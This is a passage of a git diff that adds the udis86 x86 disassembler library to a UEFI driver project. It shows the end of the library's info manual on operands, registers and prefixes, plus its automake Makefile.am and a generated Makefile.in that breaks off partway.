ud_insn_ptr (const ud_t* u) + Returns pointer to the buffer holding the instruction bytes. Use + *note ud_insn_len(): 17. to determine the size of this buffer. + + -- C Function: const char* ud_insn_asm (const ud_t* u) + If the syntax is specified, returns pointer to the character + string holding assembly language representation of the + disassembled instruction. + + -- C Function: const ud_operand_t* ud_insn_opr (const ud_t* u, + unsigned int n) + Returns a reference (*note ud_operand_t: 1d.) to the nth (starting + with 0) operand of the instruction. If the instruction does not + have such an operand, the function returns `NULL'. + + -- C Function: enum ud_mnemonic_code ud_insn_mnemonic (const ud_t *u) + New in version 1.7.2. + + Returns the instruction mnemonic in the form of an enumerated + constant (`enum ud_mnemonic_code'). As a convention all mnemonic + constants are composed by prefixing standard instruction mnemonics + with `UD_I'. For example, the enumerations for `mov', `xor' and + `jmp' are `UD_Imov', `UD_Ixor', and `UD_Ijmp', respectively.: + + ud_disassemble(&ud_obj); + + switch (ud_insn_mnemonic(ud_obj)) { + case UD_Imov: printf("mov!"); break; + case UD_Ixor: printf("xor!"); break; + case UD_Ijmp: printf("jmp!"); break; + /*...*/ + } + + Prior to version 1.7.2, the way to access the mnemonic was by a + field of `ud_t', `ud_t.mnemonc'. This field is now deprecated and + may not be supported in the future. + +See also +........ + + `ud_lookup_mnemonic()' + + -- C Function: const char* ud_const lookup_mnemonic + (enum ud_mnemonic_code) + Returns a pointer to a character string corresponding to the given + mnemonic code. Returns a `NULL' if the code is invalid. + + +File: udis86.info, Node: Inspect Operands, Next: Inspect Prefixes, Prev: Disassemble, Up: libudis86 + +2.6 Inspect Operands +==================== + +An intermediate representation of instruction operands is available in +the form of *note ud_operand_t: 1d. You can retrieve the nth operand of +a disassembled instruction using the function *note ud_insn_opr(): 1c. + + -- C Type: ud_operand_t + The operand type, represents a single operand of an instruction. It + contains the following fields. + + - *note size: 21. + + - *note type: 22. + + - *note base: 23. + + - *note index: 24. + + - *note scale: 25. + + - *note offset: 26. + + - *note lval: 27. + + -- C Member: unsigned ud_operand_t.size + Size of the operand in number of bits. + + -- C Member: enum ud_operand_type ud_operand_t.type + Type of the operand. Possible values are, + + -- C Variable: UD_OP_MEM + A memory operand. The intermediate form normalizes all memory + address equations to the scale-index-base form. The address + equation is available in, + + - *note base: 23. - base register as an enumerated + constant of type `enum ud_type'. Maybe `UD_NONE', in + which case the memory addressing form does not include a + base register. + + - *note index: 24. - index register as an enumerated + constant of type `enum ud_type'. Maybe `UD_NONE', in + which case the memory addressing form does not include + an index register. + + - *note scale: 24. - an integer value by which the index + register must be scaled. Maybe 0, denoting the absence of + a scale component in the address. + + - *note offset: 26. - An integer value, which if non-zero + represents the size of the displacement offset, and is + one of 8, 16, 32, and 64. The value is available in + *note lval: 27. + + -- C Variable: UD_OP_PTR + A segment:offset pointer operand. The *note size: 21. field + can have two values, 32 (for 16:16 seg:off) and 48 (for 16:32 + seg:off). The pointer value is available in *note lval: 27. + (as *note lval.ptr.seg: 2a. and *note lval.ptr.off: 2b.) + + -- C Variable: UD_OP_IMM + An Immediate operand. Value available in *note lval: 27. + + -- C Variable: UD_OP_JIMM + An Immediate operand to a branch instruction (relative + offsets). Value available in *note lval: 27. + + -- C Variable: UD_OP_CONST + Implicit constant operand. Value available in *note lval: 27. + + -- C Variable: UD_OP_REG + A register operand. The specific register is available in the + *note base: 23. field as an enumerated constant of type `enum + ud_type'. + + -- C Member: enum ud_register ud_operand_t.base + Contains an enumerated constant of type `enum ud_type' representing + a *note register: 2f. operand or the base of a *note memory: 28. + operand. + + -- C Member: enum ud_register ud_operand_t.index + Contains an enumerated constant of type `enum ud_type' representing + the index register of a *note memory: 28. operand. + + -- C Member: unsigned ud_operand_t.scale + Contains the scale component of a *note memory: 28. address + operand. + + -- C Member: unsigned ud_operand_t.offset + Contains the size of the displacement component of a *note memory: + 28. address operand. The displacement itself is given by *note + lval: 27. + + -- C Member: ud_lval_t ud_operand_t.lval + A union data structure that aggregates integer fields of different + sizes, storing values depending on the *note type: 22. and *note + size: 21. of the operand. + + -- C Member: lval.sbyte + Signed Byte + + -- C Member: lval.ubyte + Unsigned Byte + + -- C Member: lval.sword + Signed Word + + -- C Member: lval.uword + Unsigned Word + + -- C Member: lval.sdword + Signed Double Word + + -- C Member: lval.udword + Unsigned Double Word + + -- C Member: lval.sqword + Signed Quad Word + + -- C Member: lval.uqword + Unsigned Quad Word + + -- C Member: lval.ptr.seg + Pointer Segment in Segment:Offset + + -- C Member: lval.ptr.off + Pointer Offset in Segment:Offset + + -- C Type: enum ud_type + Instruction Pointer + + UD_R_RIP + + 8-Bit Registers + + UD_NONE, + + UD_R_AL, UD_R_CL, UD_R_DL, UD_R_BL, + UD_R_AH, UD_R_CH, UD_R_DH, UD_R_BH, + UD_R_SPL, UD_R_BPL, UD_R_SIL, UD_R_DIL, + UD_R_R8B, UD_R_R9B, UD_R_R10B, UD_R_R11B, + UD_R_R12B, UD_R_R13B, UD_R_R14B, UD_R_R15B, + + 16-Bit General Purporse Registers + + UD_R_AX, UD_R_CX, UD_R_DX, UD_R_BX, + UD_R_SP, UD_R_BP, UD_R_SI, UD_R_DI, + UD_R_R8W, UD_R_R9W, UD_R_R10W, UD_R_R11W, + UD_R_R12W, UD_R_R13W, UD_R_R14W, UD_R_R15W, + + 32-Bit General Purporse Registers: + + UD_R_EAX, UD_R_ECX, UD_R_EDX, UD_R_EBX, + UD_R_ESP, UD_R_EBP, UD_R_ESI, UD_R_EDI, + UD_R_R8D, UD_R_R9D, UD_R_R10D, UD_R_R11D, + UD_R_R12D, UD_R_R13D, UD_R_R14D, UD_R_R15D, + + 64-Bit General Purporse Registers: + + UD_R_RAX, UD_R_RCX, UD_R_RDX, UD_R_RBX, + UD_R_RSP, UD_R_RBP, UD_R_RSI, UD_R_RDI, + UD_R_R8, UD_R_R9, UD_R_R10, UD_R_R11, + UD_R_R12, UD_R_R13, UD_R_R14, UD_R_R15, + + Segment Registers: + + UD_R_ES, UD_R_CS, UD_R_SS, UD_R_DS, + UD_R_FS, UD_R_GS, + + Control Registers: + + UD_R_CR0, UD_R_CR1, UD_R_CR2, UD_R_CR3, + UD_R_CR4, UD_R_CR5, UD_R_CR6, UD_R_CR7, + UD_R_CR8, UD_R_CR9, UD_R_CR10, UD_R_CR11, + UD_R_CR12, UD_R_CR13, UD_R_CR14, UD_R_CR15, + + Debug Registers: + + UD_R_DR0, UD_R_DR1, UD_R_DR2, UD_R_DR3, + UD_R_DR4, UD_R_DR5, UD_R_DR6, UD_R_DR7, + UD_R_DR8, UD_R_DR9, UD_R_DR10, UD_R_DR11, + UD_R_DR12, UD_R_DR13, UD_R_DR14, UD_R_DR15, + + MMX Registers: + + UD_R_MM0, UD_R_MM1, UD_R_MM2, UD_R_MM3, + UD_R_MM4, UD_R_MM5, UD_R_MM6, UD_R_MM7, + + FPU Registers: + + UD_R_ST0, UD_R_ST1, UD_R_ST2, UD_R_ST3, + UD_R_ST4, UD_R_ST5, UD_R_ST6, UD_R_ST7, + + SSE Registers: + + UD_R_XMM0, UD_R_XMM1, UD_R_XMM2, UD_R_XMM3, + UD_R_XMM4, UD_R_XMM5, UD_R_XMM6, UD_R_XMM7, + UD_R_XMM8, UD_R_XMM9, UD_R_XMM10, UD_R_XMM11, + UD_R_XMM12, UD_R_XMM13, UD_R_XMM14, UD_R_XMM15, + + + + +File: udis86.info, Node: Inspect Prefixes, Prev: Inspect Operands, Up: libudis86 + +2.7 Inspect Prefixes +==================== + +Prefix bytes that affect the disassembly of the instruction are +availabe in the following fields, each of which corressponds to a +particular type or class of prefixes. + + -- C Member: uint8_t ud_t.pfx_rex + 64-bit mode REX prefix + + -- C Member: uint8_t ud_t.pfx_rex + 64-bit mode REX prefix + + -- C Member: uint8_t ud_t.pfx_seg + Segment register prefix + + -- C Member: uint8_t ud_t.pfx_opr + Operand-size prefix (66h) + + -- C Member: uint8_t ud_t.pfx_adr + Address-size prefix (67h) + + -- C Member: uint8_t ud_t.pfx_lock + Lock prefix + + -- C Member: uint8_t ud_t.pfx_rep + Rep prefix + + -- C Member: uint8_t ud_t.pfx_repe + Repe prefix + + -- C Member: uint8_t ud_t.pfx_repne + Repne prefix + + These fields default to `UD_NONE' if the respective prefixes were not +found. + + +File: udis86.info, Node: Index, Prev: libudis86, Up: Top + +Index +***** + +[index] +* Menu: + +* lookup_mnemonic (C function): Disassemble. (line 94) +* lval.ptr.off (C member): Inspect Operands. (line 129) +* lval.ptr.seg (C member): Inspect Operands. (line 126) +* lval.sbyte (C member): Inspect Operands. (line 102) +* lval.sdword (C member): Inspect Operands. (line 114) +* lval.sqword (C member): Inspect Operands. (line 120) +* lval.sword (C member): Inspect Operands. (line 108) +* lval.ubyte (C member): Inspect Operands. (line 105) +* lval.udword (C member): Inspect Operands. (line 117) +* lval.uqword (C member): Inspect Operands. (line 123) +* lval.uword (C member): Inspect Operands. (line 111) +* ud_disassemble (C function): Disassemble. (line 13) +* ud_get_user_opaque_data (C function): Setup Input. (line 56) +* ud_insn_asm (C function): Disassemble. (line 56) +* ud_insn_hex (C function): Disassemble. (line 48) +* ud_insn_len (C function): Disassemble. (line 36) +* ud_insn_mnemonic (C function): Disassemble. (line 67) +* ud_insn_off (C function): Disassemble. (line 39) +* ud_insn_opr (C function): Disassemble. (line 61) +* ud_insn_ptr (C function): Disassemble. (line 52) +* UD_OP_CONST (C variable): Inspect Operands. (line 71) +* UD_OP_IMM (C variable): Inspect Operands. (line 64) +* UD_OP_JIMM (C variable): Inspect Operands. (line 67) +* UD_OP_MEM (C variable): Inspect Operands. (line 34) +* UD_OP_PTR (C variable): Inspect Operands. (line 58) +* UD_OP_REG (C variable): Inspect Operands. (line 74) +* ud_operand_t (C type): Inspect Operands. (line 10) +* ud_operand_t.base (C member): Inspect Operands. (line 79) +* ud_operand_t.index (C member): Inspect Operands. (line 84) +* ud_operand_t.lval (C member): Inspect Operands. (line 97) +* ud_operand_t.offset (C member): Inspect Operands. (line 92) +* ud_operand_t.scale (C member): Inspect Operands. (line 88) +* ud_operand_t.size (C member): Inspect Operands. (line 28) +* ud_operand_t.type (C member): Inspect Operands. (line 31) +* ud_set_input_buffer (C function): Setup Input. (line 11) +* ud_set_input_file (C function): Setup Input. (line 16) +* ud_set_input_hook (C function): Setup Input. (line 22) +* ud_set_mode (C function): Setup Machine State. (line 14) +* ud_set_pc (C function): Setup Machine State. (line 18) +* ud_set_syntax (C function): Setup Translation. (line 12) +* ud_set_user_opaque_data (C function): Setup Input. (line 51) +* ud_set_vendor (C function): Setup Machine State. (line 23) +* ud_t (C type): ud_t udis86 object. (line 10) +* ud_t.pfx_adr (C member): Inspect Prefixes. (line 22) +* ud_t.pfx_lock (C member): Inspect Prefixes. (line 25) +* ud_t.pfx_opr (C member): Inspect Prefixes. (line 19) +* ud_t.pfx_rep (C member): Inspect Prefixes. (line 28) +* ud_t.pfx_repe (C member): Inspect Prefixes. (line 31) +* ud_t.pfx_repne (C member): Inspect Prefixes. (line 34) +* ud_t.pfx_rex (C member): Inspect Prefixes. (line 10) +* ud_t.pfx_seg (C member): Inspect Prefixes. (line 16) +* ud_type (C type): Inspect Operands. (line 132) + + + +Tag Table: +Node: Top334 +Ref: index doc543 +Ref: 0543 +Node: Getting Started952 +Ref: getstarted getting-started1037 +Ref: 11037 +Ref: getstarted doc1037 +Ref: 21037 +Node: Building and Installing udis861210 +Ref: getstarted building-and-installing-udis861343 +Ref: 31343 +Node: Interfacing with libudis86 A Quick Example1810 +Ref: getstarted interfacing-with-libudis86-a-quick-example1943 +Ref: 41943 +Node: libudis862797 +Ref: libudis86 libudis862884 +Ref: 52884 +Ref: libudis86 doc2884 +Ref: 62884 +Node: ud_t udis86 object3414 +Ref: libudis86 ud-t-udis86-object3506 +Ref: 73506 +Ref: libudis86 ud_t3746 +Ref: 83746 +Node: Setup Machine State4049 +Ref: libudis86 setup-machine-state4161 +Ref: 94161 +Ref: libudis86 ud_set_mode4693 +Ref: a4693 +Ref: libudis86 ud_set_pc4875 +Ref: b4875 +Ref: libudis86 ud_set_vendor5083 +Ref: c5083 +Node: Setup Input5636 +Ref: libudis86 setup-input5747 +Ref: d5747 +Ref: libudis86 ud_set_input_buffer6018 +Ref: e6018 +Ref: libudis86 ud_set_input_file6193 +Ref: f6193 +Ref: libudis86 ud_set_input_hook6490 +Ref: 106490 +Ref: libudis86 ud_set_user_opaque_data7586 +Ref: 117586 +Ref: libudis86 ud_get_user_opaque_data7813 +Ref: 127813 +Node: Setup Translation8003 +Ref: libudis86 setup-translation8106 +Ref: 138106 +Ref: libudis86 ud_set_syntax8501 +Ref: 148501 +Node: Disassemble9479 +Ref: libudis86 disassemble9587 +Ref: 159587 +Ref: libudis86 ud_disassemble10003 +Ref: 1610003 +Ref: libudis86 ud_insn_len10701 +Ref: 1710701 +Ref: libudis86 ud_insn_off10806 +Ref: 1810806 +Ref: libudis86 ud_insn_hex11025 +Ref: 1911025 +Ref: libudis86 ud_insn_ptr11188 +Ref: 1a11188 +Ref: libudis86 ud_insn_asm11386 +Ref: 1b11386 +Ref: libudis86 ud_insn_opr11600 +Ref: 1c11600 +Ref: libudis86 ud_insn_mnemonic11888 +Ref: 1e11888 +Ref: libudis86 lookup_mnemonic12822 +Ref: 1f12822 +Node: Inspect Operands13043 +Ref: libudis86 inspect-operands13150 +Ref: 2013150 +Ref: libudis86 ud_operand_t13408 +Ref: 1d13408 +Ref: libudis86 ud_operand_t size13736 +Ref: 2113736 +Ref: libudis86 ud_operand_t type13822 +Ref: 2213822 +Ref: libudis86 UD_OP_MEM13923 +Ref: 2813923 +Ref: libudis86 UD_OP_PTR15040 +Ref: 2915040 +Ref: libudis86 UD_OP_IMM15353 +Ref: 2c15353 +Ref: libudis86 UD_OP_JIMM15452 +Ref: 2d15452 +Ref: libudis86 UD_OP_CONST15605 +Ref: 2e15605 +Ref: libudis86 UD_OP_REG15711 +Ref: 2f15711 +Ref: libudis86 ud_operand_t base15907 +Ref: 2315907 +Ref: libudis86 ud_operand_t index16114 +Ref: 2416114 +Ref: libudis86 ud_operand_t scale16294 +Ref: 2516294 +Ref: libudis86 ud_operand_t offset16416 +Ref: 2616416 +Ref: libudis86 ud_operand_t lval16615 +Ref: 2716615 +Ref: libudis86 lval sbyte16831 +Ref: 3016831 +Ref: libudis86 lval ubyte16884 +Ref: 3116884 +Ref: libudis86 lval sword16939 +Ref: 3216939 +Ref: libudis86 lval uword16992 +Ref: 3316992 +Ref: libudis86 lval sdword17047 +Ref: 3417047 +Ref: libudis86 lval udword17108 +Ref: 3517108 +Ref: libudis86 lval sqword17171 +Ref: 3617171 +Ref: libudis86 lval uqword17230 +Ref: 3717230 +Ref: libudis86 lval ptr seg17291 +Ref: 2a17291 +Ref: libudis86 lval ptr off17368 +Ref: 2b17368 +Ref: libudis86 ud_type17444 +Ref: 3817444 +Node: Inspect Prefixes19736 +Ref: libudis86 inspect-prefixes19823 +Ref: 3919823 +Ref: libudis86 ud_t pfx_rex20035 +Ref: 3a20035 +Ref: libudis86 ud_t pfx_seg20163 +Ref: 3b20163 +Ref: libudis86 ud_t pfx_opr20228 +Ref: 3c20228 +Ref: libudis86 ud_t pfx_adr20295 +Ref: 3d20295 +Ref: libudis86 ud_t pfx_lock20362 +Ref: 3e20362 +Ref: libudis86 ud_t pfx_rep20416 +Ref: 3f20416 +Ref: libudis86 ud_t pfx_repe20468 +Ref: 4020468 +Ref: libudis86 ud_t pfx_repne20522 +Ref: 4120522 +Node: Index20658 + +End Tag Table diff --git a/UefiDriver/udis86/libudis86/Makefile.am b/UefiDriver/udis86/libudis86/Makefile.am new file mode 100644 index 0000000..ca84b9c --- /dev/null +++ b/UefiDriver/udis86/libudis86/Makefile.am @@ -0,0 +1,52 @@ +# +# -- udis86/libudis86 +# + +PYTHON = @PYTHON@ +OPTABLE = @top_srcdir@/docs/x86/optable.xml + +MAINTAINERCLEANFILES = Makefile.in + +lib_LTLIBRARIES = libudis86.la + +libudis86_la_SOURCES = \ + itab.c \ + decode.c \ + syn.c \ + syn-intel.c \ + syn-att.c \ + udis86.c \ + udint.h \ + syn.h \ + decode.h + +include_ladir = ${includedir}/libudis86 +include_la_HEADERS = \ + types.h \ + extern.h \ + itab.h + + +BUILT_SOURCES = \ + itab.c \ + itab.h + +# +# DLLs may not contain undefined symbol references. +# We have the linker check this explicitly. +# +if TARGET_WINDOWS +libudis86_la_LDFLAGS = -no-undefined -version-info 0:0:0 +endif + +itab.c itab.h: $(OPTABLE) \ + $(top_srcdir)/scripts/ud_itab.py \ + $(top_srcdir)/scripts/ud_opcode.py \ + $(top_srcdir)/scripts/ud_optable.py + $(PYTHON) $(top_srcdir)/scripts/ud_itab.py $(OPTABLE) $(srcdir) + + +clean-local: + rm -rf $(BUILT_SOURCES) + +maintainer-clean-local: diff --git a/UefiDriver/udis86/libudis86/Makefile.in b/UefiDriver/udis86/libudis86/Makefile.in new file mode 100644 index 0000000..b0840ed --- /dev/null +++ b/UefiDriver/udis86/libudis86/Makefile.in @@ -0,0 +1,692 @@ +# Makefile.in generated by automake 1.13.1 from Makefile.am. +# @configure_input@ + +# Copyright (C) 1994-2012 Free Software Foundation, Inc. + +# This Makefile.in is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY, to the extent permitted by law; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A +# PARTICULAR PURPOSE. + +@SET_MAKE@ + +# +# -- udis86/libudis86 +# + + +VPATH = @srcdir@ +am__make_dryrun = \ + { \ + am__dry=no; \ + case $$MAKEFLAGS in \ + *\\[\ \ ]*) \ + echo 'am--echo: ; @echo "AM" OK' | $(MAKE) -f - 2>/dev/null \ + | grep '^AM OK$$' >/dev/null || am__dry=yes;; \ + *) \ + for am__flg in $$MAKEFLAGS; do \ + case $$am__flg in \ + *=*|--*) ;; \ + *n*) am__dry=yes; break;; \ + esac; \ + done;; \ + esac; \ + test $$am__dry = yes; \ + } +pkgdatadir = $(datadir)/@PACKAGE@ +pkgincludedir = $(includedir)/@PACKAGE@ +pkglibdir = $(libdir)/@PACKAGE@ +pkglibexecdir = $(libexecdir)/@PACKAGE@ +am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd +install_sh_DATA = $(install_sh) -c -m 644 +install_sh_PROGRAM = $(install_sh) -c +install_sh_SCRIPT = $(install_sh) -c +INSTALL_HEADER = $(INSTALL_DATA) +transform = $(program_transform_name) +NORMAL_INSTALL = : +PRE_INSTALL = : +POST_INSTALL = : +NORMAL_UNINSTALL = : +PRE_UNINSTALL = : +POST_UNINSTALL = : +build_triplet = @build@ +host_triplet = @host@ +subdir = libudis86 +DIST_COMMON = $(srcdir)/Makefile.in $(srcdir)/Makefile.am \ + $(top_srcdir)/build/depcomp $(include_la_HEADERS) +ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 +am__aclocal_m4_deps = $(top_srcdir)/build/m4/libtool.m4 \ + $(top_srcdir)/build/m4/ltoptions.m4 \ + $(top_srcdir)/build/m4/ltsugar.m4 \ + $(top_srcdir)/build/m4/ltversion.m4 \ + $(top_srcdir)/build/m4/lt~obsolete.m4 \ + $(top_srcdir)/m4/ax_compare_version.m4 \ + $(top_srcdir)/m4/ax_prog_sphinx_version.m4 \ + $(top_srcdir)/m4/ax_prog_yasm_version.m4 \ + $(top_srcdir)/m4/ax_with_prog.m4 \ + $(top_srcdir)/m4/ax_with_python.m4 $(top_srcdir)/configure.ac +am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ + $(ACLOCAL_M4) +mkinstalldirs = $(install_sh) -d +CONFIG_HEADER = $(top_builddir)/config.h +CONFIG_CLEAN_FILES = +CONFIG_CLEAN_VPATH_FILES = +am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; +am__vpath_adj = case $$p in \ + $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \ + *) f=$$p;; \ + esac; +am__strip_dir = f=`echo $$p | sed -e 's|^.*/||'`; +am__install_max = 40 +am__nobase_strip_setup = \ + srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*|]/\\\\&/g'` +am__nobase_strip = \ + for p in $$list; do echo "$$p"; done | sed -e "s|$$srcdirstrip/||" +am__nobase_list = $(am__nobase_strip_setup); \ + for p in $$list; do echo "$$p $$p"; done | \ + sed "s| $$srcdirstrip/| |;"' / .*\//!s/ .*/ ./; s,\( .*\)/[^/]*$$,\1,' | \ + $(AWK) 'BEGIN { files["."] = "" } { files[$$2] = files[$$2] " " $$1; \ + if (++n[$$2] == $(am__install_max)) \ + { print $$2, files[$$2]; n[$$2] = 0; files[$$2] = "" } } \ + END { for (dir in files) print dir, files[dir] }' +am__base_list = \ + sed '$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;s/\n/ /g' | \ + sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g' +am__uninstall_files_from_dir = { \ + test -z "$$files" \ + || { test ! -d "$$dir" && test ! -f "$$dir" && test ! -r "$$dir"; } \ + || { echo " ( cd '$$dir' && rm -f" $$files ")"; \ + $(am__cd) "$$dir" && rm -f $$files; }; \ + } +am__installdirs = "$(DESTDIR)$(libdir)" "$(DESTDIR)$(include_ladir)" +LTLIBRARIES = $(lib_LTLIBRARIES) +libudis86_la_LIBADD = +am_libudis86_la_OBJECTS = itab.lo decode.lo syn.lo syn-intel.lo \ + syn-att.lo udis86.lo +libudis86_la_OBJECTS = $(am_libudis86_la_OBJECTS) +AM_V_lt = $(am__v_lt_@AM_V@) +am__v_lt_ = $(am__v_lt_@AM_DEFAULT_V@) +am__v_lt_0 = --silent +am__v_lt_1 = +libudis86_la_LINK = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \ + $(LIBTOOLFLAGS) --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \ + $(libudis86_la_LDFLAGS) $(LDFLAGS) -o $@ +AM_V_P = $(am__v_P_@AM_V@) +am__v_P_ = $(am__v_P_@AM_DEFAULT_V@) +am__v_P_0 = false +am__v_P_1 = : +AM_V_GEN = $(am__v_GEN_@AM_V@) +am__v_GEN_ = $(am__v_GEN_@AM_DEFAULT_V@) +am__v_GEN_0 = @echo " GEN " $@; +am__v_GEN_1 = +AM_V_at = $(am__v_at_@AM_V@) +am__v_at_ = $(am__v_at_@AM_DEFAULT_V@) +am__v_at_0 = @ +am__v_at_1 = +DEFAULT_INCLUDES = -I.@am__isrc@ -I$(top_builddir) +depcomp = $(SHELL) $(top_srcdir)/build/depcomp +am__depfiles_maybe = depfiles +am__mv = mv -f +COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \ + $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) +LTCOMPILE = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \ + $(LIBTOOLFLAGS) --mode=compile $(CC) $(DEFS) \ + $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \ + $(AM_CFLAGS) $(CFLAGS) +AM_V_CC = $(am__v_CC_@AM_V@) +am__v_CC_ = $(am__v_CC_@AM_DEFAULT_V@) +am__v_CC_0 = @echo " CC " $@; +am__v_CC_1 = +CCLD = $(CC) +LINK = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \ + $(LIBTOOLFLAGS) --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \ + $(AM_LDFLAGS) $(LDFLAGS) -o $@ +AM_V_CCLD = $(am__v_CCLD_@AM_V@) +am__v_CCLD_ = $(am__v_CCLD_@AM_DEFAULT_V@) +am__v_CCLD_0 = @echo " CCLD " $@; +am__v_CCLD_1 = +SOURCES = $(libudis86_la_SOURCES) +DIST_SOURCES = $(libudis86_la_SOURCES) +am__can_run_installinfo = \ + case $$AM_UPDATE_INFO_DIR in \ + n|no|NO) false;; \ + *) (install-info --version) >/dev/null 2>&1;; \ + esac +HEADERS = $(include_la_HEADERS) +am__tagged_files = $(HEADERS) $(SOURCES) $(TAGS_FILES) $(LISP) +# Read a list of newline-separated strings from the standard input, +# and print each of them once, without duplicates. Input order is +# *not* preserved. +am__uniquify_input = $(AWK) '\ + BEGIN { nonempty = 0; } \ + { items[$$0] = 1; nonempty = 1; } \ + END { if (nonempty) { for (i in items) print i; }; } \ +' +# Make sure the list of sources is unique. This is necessary because, +# e.g., the same source file might be shared among _SOURCES variables +# for different programs/libraries. +am__define_uniq_tagged_files = \ + list='$(am__tagged_files)'; \ + unique=`for i in $$list; do \ + if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ + done | $(am__uniquify_input)` +ETAGS = etags +CTAGS = ctags +DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) +ACLOCAL = @ACLOCAL@ +ACLOCAL_AMFLAGS = @ACLOCAL_AMFLAGS@ +AMTAR = @AMTAR@ +AM_DEFAULT_VERBOSITY = @AM_DEFAULT_VERBOSITY@ +AR = @AR@ +AS = @AS@ +AUTOCONF = @AUTOCONF@ +AUTOHEADER = @AUTOHEADER@ +AUTOMAKE = @AUTOMAKE@ +AWK = @AWK@ +CC = @CC@ +CCDEPMODE = @CCDEPMODE@ +CFLAGS = @CFLAGS@ +CPP = @CPP@ +CPPFLAGS = @CPPFLAGS@ +CYGPATH_W = @CYGPATH_W@ +DEFS = @DEFS@ +DEPDIR = @DEPDIR@ +DLLTOOL = @DLLTOOL@ +DSYMUTIL = @DSYMUTIL@ +DUMPBIN = @DUMPBIN@ +ECHO_C = @ECHO_C@ +ECHO_N = @ECHO_N@ +ECHO_T = @ECHO_T@ +EGREP = @EGREP@ +EXEEXT = @EXEEXT@ +FGREP = @FGREP@ +GREP = @GREP@ +INSTALL = @INSTALL@ +INSTALL_DATA = @INSTALL_DATA@ +INSTALL_PROGRAM = @INSTALL_PROGRAM@ +INSTALL_SCRIPT = @INSTALL_SCRIPT@ +INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ +LD = @LD@ +LDFLAGS = @LDFLAGS@ +LIBOBJS = @LIBOBJS@ +LIBS = @LIBS@ +LIBTOOL = @LIBTOOL@ +LIPO = @LIPO@ +LN_S = @LN_S@ +LTLIBOBJS = @LTLIBOBJS@ +MAKEINFO = @MAKEINFO@ +MANIFEST_TOOL = @MANIFEST_TOOL@ +MKDIR_P = @MKDIR_P@ +NM = @NM@ +NMEDIT = @NMEDIT@ +OBJDUMP = @OBJDUMP@ +OBJEXT = @OBJEXT@ +OTOOL = @OTOOL@ +OTOOL64 = @OTOOL64@ +PACKAGE = @PACKAGE@ +PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ +PACKAGE_NAME = @PACKAGE_NAME@ +PACKAGE_STRING = @PACKAGE_STRING@ +PACKAGE_TARNAME = @PACKAGE_TARNAME@ +PACKAGE_URL = @PACKAGE_URL@ +PACKAGE_VERSION = @PACKAGE_VERSION@ +PATH_SEPARATOR = @PATH_SEPARATOR@ +PYTHON = @PYTHON@ +RANLIB = @RANLIB@ +SED = @SED@ +SET_MAKE = @SET_MAKE@ +SHELL = @SHELL@ +SPHINX_BUILD = @SPHINX_BUILD@ +SPHINX_VERSION = @SPHINX_VERSION@ +STRIP = @STRIP@ +VERSION = @VERSION@ +YASM = @YASM@ +YASM_VERSION = @YASM_VERSION@ +abs_builddir = @abs_builddir@ +abs_srcdir = @abs_srcdir@ +abs_top_builddir = @abs_top_builddir@ +abs_top_srcdir = @abs_top_srcdir@ +ac_ct_AR = @ac_ct_AR@ +ac_ct_CC = @ac_ct_CC@ +ac_ct_DUMPBIN = @ac_ct_DUMPBIN@ +am__include = @am__include@ +am__leading_dot = @am__leading_dot@ +am__quote = @am__quote@ +am__tar = @am__tar@ +am__untar = @am__untar@ +bindir = @bindir@ +build = @build@ +build_alias = @build_alias@ +build_cpu = @build_cpu@ +build_os = @build_os@ +build_vendor = @build_vendor@ +builddir = @builddir@ +datadir = @datadir@ +datarootdir = @datarootdir@ +docdir = @docdir@ +dvidir = @dvidir@ +exec_prefix = @exec_prefix@ +host = @host@ +host_alias = @host_alias@ +host_cpu = @host_cpu@ +host_os = @host_os@ +host_vendor = @host_vendor@ +htmldir = @htmldir@ +includedir = @includedir@ +infodir = @infodir@ +install_sh = @install_sh@ +libdir = @libdir@ +libexecdir = @libexecdir@ +localedir = @localedir@ +localstatedir = @localstatedir@ +mandir = @mandir@ +mkdir_p = @mkdir_p@ +oldincludedir = @oldincludedir@ +pdfdir = @pdfdir@ +prefix = @prefix@ +program_transform_name = @program_transform_name@ +psdir = @psdir@ +sbindir = @sbindir@ +sharedstatedir = @sharedstatedir@ +srcdir = @srcdir@ +sysconfdir = @sysconfdir@ +target_alias = @target_alias@ +top_build_prefix = @top_build_prefix@ +top_builddir = @top_builddir@ +top_srcdir = @top_srcdir@ +OPTABLE = @top_srcdir@/docs/x86/optable.xml +MAINTAINERCLEANFILES = Makefile.in +lib_LTLIBRARIES = libudis86.la +libudis86_la_SOURCES = \ + itab.c \ + decode.c \ + syn.c \ + syn-intel.c \ + syn-att.c \ + udis86.c \ + udint.h \ + syn.h \ + decode.h + +include_ladir = ${includedir}/libudis86 +include_la_HEADERS = \ + types.h \ + extern.h \ + itab.h + +BUILT_SOURCES = \ + itab.c \ + itab.h + + +# +# DLLs may not contain undefined symbol references. +# We have the linker check this explicitly. +# +@TARGET_WINDOWS_TRUE@libudis86_la_LDFLAGS = -no-undefined -version-info 0:0:0 